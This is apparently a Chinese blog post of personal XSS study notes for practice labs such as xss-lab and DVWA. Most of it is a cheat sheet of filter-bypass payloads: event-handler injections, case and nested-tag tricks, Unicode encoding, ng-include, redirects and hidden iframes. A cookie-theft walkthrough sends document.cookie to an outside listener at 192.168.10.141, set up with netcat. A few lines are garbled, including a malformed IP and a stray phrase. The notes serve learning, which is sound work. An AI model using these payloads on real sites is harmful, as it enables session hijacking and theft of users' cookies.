本文已参与「新人创作礼」活动,一起开启掘金创作之路
靶场
过滤绕过
payload
最小有效载荷
"oncut="alert()
oncut事件是当input内容被剪切的时候触发
语句绕过
1.把字符串编码,htmlspecialchars()
破解实例 xsslab
’ onmouseover=‘alert(1)
" onmouseover="alert(1)
不指定不会过滤单双引号
不会过滤括号
如:
把一些预定义的字符转换为 HTML 实体:
<?php
$str = "Bill & 'Steve'";
echo htmlspecialchars($str, ENT_COMPAT); // 只转换双引号
echo "<br>";
echo htmlspecialchars($str, ENT_QUOTES); // 转换双引号和单引号
echo "<br>";
echo htmlspecialchars($str, ENT_NOQUOTES); // 不转换任何引号
?>
以上代码的 HTML 输出如下(查看源代码):
<!DOCTYPE html>
<html>
<body>
Bill & 'Steve'<br>
Bill & 'Steve'<br>
Bill & 'Steve'
</body>
</html>
以上代码的浏览器输出:
Bill & 'Steve'
Bill & 'Steve'
Bill & 'Steve'
防御手段
1.添加单双引号过滤
2.使用html()进行输出的时候,外面再套一层json_encode()函数
2.对事件类型和script标签进行过滤
可以尝试使用其他标签进行绕过
比如
3.对大写绕过进行转化
在线Unicode编码转换-Unicode和ASCII在线互转-中文转Unicode工具 (jsons.cn)
可以尝试转化为uncode编码
比如
javascript:alert(1)
javascript:alert(1)
注意这玩意可以只编码一部分
比如
javascript:alert(1)
javascript:alert(1)
4.传入url,对url过滤
会检测url是否有*http://huo* 或者https之类的
前端指令
在input框中
使用onmouseover=“alert(1)”
5.使用ng-include进行文件包含
这个文件包含是angular js中的内容,作用类似于php 的include函数
注意这个函数地址需要换源成国内的
ng-include的具体用法:
- 该指令用来包含外部的html文件
- 包含的内容将作为指定元素的子节点
- ng-include属性的值可以是一个表达式,返回一个文件名
- 默认清康熙啊,包含的文件需要保存在同一个域名下(同源策略)
注意:
- 该函数如果单纯指定函数需要加引号
- 加载外部html时,script中的内容不执行
- 加载外部html时可以识别style标签
6.对分隔符进行过滤
对空格,tab,/,回车进行过滤,可以先看有没有漏了这四个中的某一个
若都过滤请尝试使用url编码
%0A,%0a回车
%20 空格
分类
dom,反射,储存
dom型是指在url中进行xss植入,dom可以是反射也可以是储存
反射型 是指传入后立刻就会有反应
储存型 是指传入后会被储存到数据库,下一次取出时触发
发送cookie到指定网址
修改页面
<script>document.body.innerHTML="<div style=visibility:visible;><h1>This is DOM XSS</h1></div>";</script>
当使用switch的时候使用#来结束语句
English #</option></select><img src=1 onerror=alert(/xss/)>
注意使用html语言时记得闭合语句,script不需要闭合太多语句
常用语句
<script>alert(‘xss’)</script>
<body onload=alert('xss2')>
<a href='' onclick=alert('xss3')>click1</a> #点击click1时弹出xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src地址错误,然后执行onerror的内容
重定向:
<script>window.location='http://www.163.com'</script>
<iframe src='http://192.168.10.141/a.jpg' height='0' width='0'><iframe>
获取cookie
1.<script>alert(document.cookie)</script>
2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.1在192.168.10.141上开启监听
Nc -nvlp 80
2.2在DVWA中输入如下内容
<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.3此时可以在192.168.10.141的主机上获得DVWA的cookie信息
2.1大小写绕过
<Script>alert('xxx')</script>
2.2组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
2.3尝试使用别的标签来绕过
<body onload=alert('s')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
#<script>alert('xx')</script>
<body onload=alert('s')>
<img src="" onerror=alert('xss')>
<a href='' onclick=alert('ss')>click</a>
<a href='' onclick=alert(/ss/)>click</a>
<script>alert('x')</script>
<body onload=alert('sss')>
<a href=http://www.baidu.com>clock</a>
<a href='' onclick=alert('xss')>click</a>
重定向:
<script>window.location=’http://www.baidu.com’</script>
<script>window.location=’http://192.168.10.141’</script>
<iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'></iframe>
获取cookie:
<script>alert(document.cookie)</script>
<script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>
<Script>alert('x')</script>
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
<body onload=alert('xss')>
<a href='' onclick=alert('xss')>click</a>
\